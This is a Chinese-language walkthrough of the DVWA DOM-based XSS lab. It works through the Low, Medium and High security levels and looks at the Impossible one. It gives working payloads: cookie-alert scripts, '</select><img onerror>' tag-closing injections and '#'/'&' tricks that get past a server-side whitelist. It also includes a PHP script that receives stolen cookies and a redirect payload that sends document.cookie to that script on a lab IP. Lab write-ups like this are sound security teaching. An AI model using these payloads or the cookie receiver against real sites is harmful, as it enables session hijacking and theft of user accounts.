XSS(Cross Site Scripting),跨站脚本攻击,能使攻击者在页面嵌入一些脚本代码,用户再访问,被诱导点击时,执行恶意脚本,常见为javascript,也有Flash、VBscript,常见于盗取cookie

DOM型XSS,是利用DOM树,DOM树就是HTML之间的标签,将标签闭合,注入<script></script>标签进行脚本的执行

LOW

审计源码



没有任何过滤

点击提交后可以看到default传参的内容为English



English改为<script>alert(document.cookie)</script>

成功弹出cookie,利用成功

反弹cookie

真正的窃取cookie不止这么简单,我们这里在Web服务器中写一个接收cookie并保存的文件

getcookie.php

<?php
$cookie = $_GET['cookie'];
fwrite(fopen('cookie.txt','a'),'Cookie : '.$cookie."\n");
?>



然后使用javascript获取cookie值,并访问getcookie.phpgetcookie.php会将cookie值保存到cookie.txt

首先测试访问getcookie.php是否正常

http://192.168.1.131/getcookie.php?cookie=nihao



查看是否生成cookie.txt



正常执行

default传入

default=<script>document.location='http://192.168.1.131/getcookie.php?cookie='+document.cookie</script>



执行后查看cookie.txt是否反弹成功

成功反弹

Meidum

审计源码


<?php // 检查是否有 default 的键名 ,判断 default 传参是否为空
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
// 获取 default 传参的值
$default = $_GET['default']; // stripos 查找字符串首次出现的位置(不区分大小写)
// 查找到返回 true ,查找不到返回 false
// 判断不能查找到 <script ,并且不区分大小写
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
} ?>

传参中不能含有<script,不过可以使用<img />标签,带上属性onerror='alert(document.cookie)'

测试default=<img src=1 onerror=alert(document.cookie)>



并没有弹窗,使用检查查看default的值传到了哪里



通过观察,传入的值在<option></option>标签中,尝试将传入</option>将标签闭合

default=</option><img src=1 onerror=alert(document.cookie)>



闭合后依然没有弹窗,再次检查查看default值传入了哪里



还是没有闭合,值依然在value中,尝试传入</select>闭合更外一层的<select>标签

default=</select><img src=1 onerror=alert(document.cookie)>



可以看到成功弹窗,检查查看是如何闭合的

Hihg

审计源码


<?php // 判断是否传入数据
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) { # 判断获取的 default 传入的值,只能是一下四种
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
// 默认选择 English
default:
header ("location: ?default=English");
exit;
}
} ?>

这里进行了一个白名单,只能是French、English、German、Spanish,否则无法执行

这里只是后端进行数据处理,将 default 的值传入页面使用的前段的javascript,前面的等级也是



从这里可以看出,将lang的值写入到页面中标签,value的值

所以,这里只要让后端检测不到即可

使用#,就可以绕过后端的检测,GET并不会获取到#号后面的内容,PHP认为#号后面注释的内容

测试default=English #<script>alert(/xss/)</script>

注意English后面时候空格的,如果不输入空格,会被当做default的值传入后端



当然&号也是可以的,&会被后端认为是另一个传参,也不会接收

default=English&<script>alert(document.cookie)</script>

&号前面是没有空格的,传参是紧密相连的

Impossible

审计源码



这里写到不做任何处理,在前段处理

查看前段代码



这里多了一个括号,这个括号就能阻止XSS了吗,我不相信

传入default=<script>alert(/xss/)</script>测试



可以看到这里没有对传入的特殊字符进行url解码,这样就过滤了<、/、#、&等特殊字符

DVWA-XSS (DOM) DOM型跨站脚本攻击的更多相关文章

  1. DVWA之DOM XSS(DOM型跨站脚本攻击)

    目录 Low Medium High Impossible Low 源代码: <?php # No protections, anything goes ?> 从源代码可以看出,这里low ...

  2. XSS CSS Cross SiteScript 跨站脚本攻击

    XSS攻击及防御 - 高爽|Coder - CSDN博客 https://blog.csdn.net/ghsau/article/details/17027893 XSS又称CSS,全称Cross S ...

  3. 渗透之路基础 -- 跨站脚本攻击XSS

    目录 漏洞原理及防御 XSS 原理分析:输出问题导致js代码被识别执行 XSS 技术分类 Cookie盗取 基于Xss的WebShell箱子的攻击 XSS相关防护过滤及绕过分析(参考链接) 防护: 绕 ...

  4. WebGoat学习——跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是指攻击者向被攻击Web 页面里插入恶意html代码,当用户浏览该页之时 ...

  5. 跨站脚本攻击(Cross‐Site Scripting (XSS))

    跨站脚本攻击(Cross‐Site Scripting (XSS)) 跨站脚本攻击(Cross‐Site Scripting (XSS)) XSS(Cross Site Script)跨站脚本攻击.是 ...

  6. DVWA全级别之XSS(Reflected)、XSS(Stored)【跨站脚本攻击】

    XSS XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强 ...

  7. 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF

    存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...

  8. DVWA XSS (DOM) 通关教程

    DOM,全称Document Object Model,是一个平台和语言都中立的接口,可以使程序和脚本能够动态访问和更新文档的内容.结构以及样式. DOM型XSS其实是一种特殊类型的反射型XSS,它是 ...

  9. XSS(跨站脚本攻击)的最全总结

    从OWASP的官网意译过来,加上自己的理解,算是比较全面的介绍.有兴趣的可私下交流. XSS 跨站脚本攻击 ============================================== ...

  10. XSS(跨站脚本攻击)简单讲解

    1.1 XSS简介 跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞.这类漏洞能够使得攻击者嵌入恶意脚本代码(一般是JS代码)到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意 ...

随机推荐

  1. 杭电 oj 第几天?

    Problem Description 给定一个日期,输出这个日期是该年的第几天.   Input 输入数据有多组,每组占一行,数据格式为YYYY/MM/DD组成,具体参见sample input , ...

  2. ESP8266_RTOS_SDK更新子模块出错git remote: [session-f0448081] 404 not found!

    报错:git remote: [session-f0448081] 404 not found! 在.git文件夹中的config文件中找到子模块的地址,用浏览器打开发现确实没有对应的子模块仓库,这个 ...

  3. Pytest Fixture(二)

    作用域 固件的作用是为了抽离出重复的工作和方便复用,为了更精细化控制固件(比如只想对数据库访问测试脚本使用自动连接关闭的固件),pytest 使用作用域来进行指定固件的使用范围. 在定义固件时,通过  ...

  4. .NET CORE 下收发邮件之 MAILKIT

    背景 利用代码发送邮件在工作中还是比较常见的,相信大家都用过SmtpClient来处理发送邮件的操作,不过这个类以及被标记已过时,所以介绍一个微软推荐的库MailKit来处理. MailKit开源地址 ...

  5. 关于Centos7防火墙、端口、进程、开机自启、服务启动的常用命令

    一.防火墙相关命令 1.查看防火墙状态 : systemctl status firewalld.service 注:active是绿的running表示防火墙开启 2.关闭防火墙 :systemct ...

  6. vue+element-ui+sortable.js实现表格行和列的拖拽

    项目碰到一个需求是需要表格字段列进行顺序拖拽,查过一些资料,中途也碰到了很多坑,实现方式如下: 封装成公用组件操作 //父组件 <template> <div> <com ...

  7. 【Jenkins】jenkins 配置腾讯企业邮箱

    首页]-->[系统管理]-->[系统设置] //////////////////////////////////////////////////////////////////////// ...

  8. python笔记:list--pop与remove的区别

    正常情况下: # coding=utf-8 fruit = ['apple', 'pear', 'banana' ] #指定索引删除 fruit.pop(0) #符合元素删除,具体数值 fruit.r ...

  9. resttemplate 由于框架原因自带了转xml方式,不改变框架底层情况下,修复为返回json格式

    RestTemplate httpClientTemplate = new RestTemplate(); List<HttpMessageConverter<?>> conv ...

  10. echarts 图表动态刷新数据

    需求:每次重新加载数据,图表柱状图从零开始加载 用 myChart.clear(); 这个方式解决. 在setOption 之前用 示例: myChart.clear(); myChart.setOp ...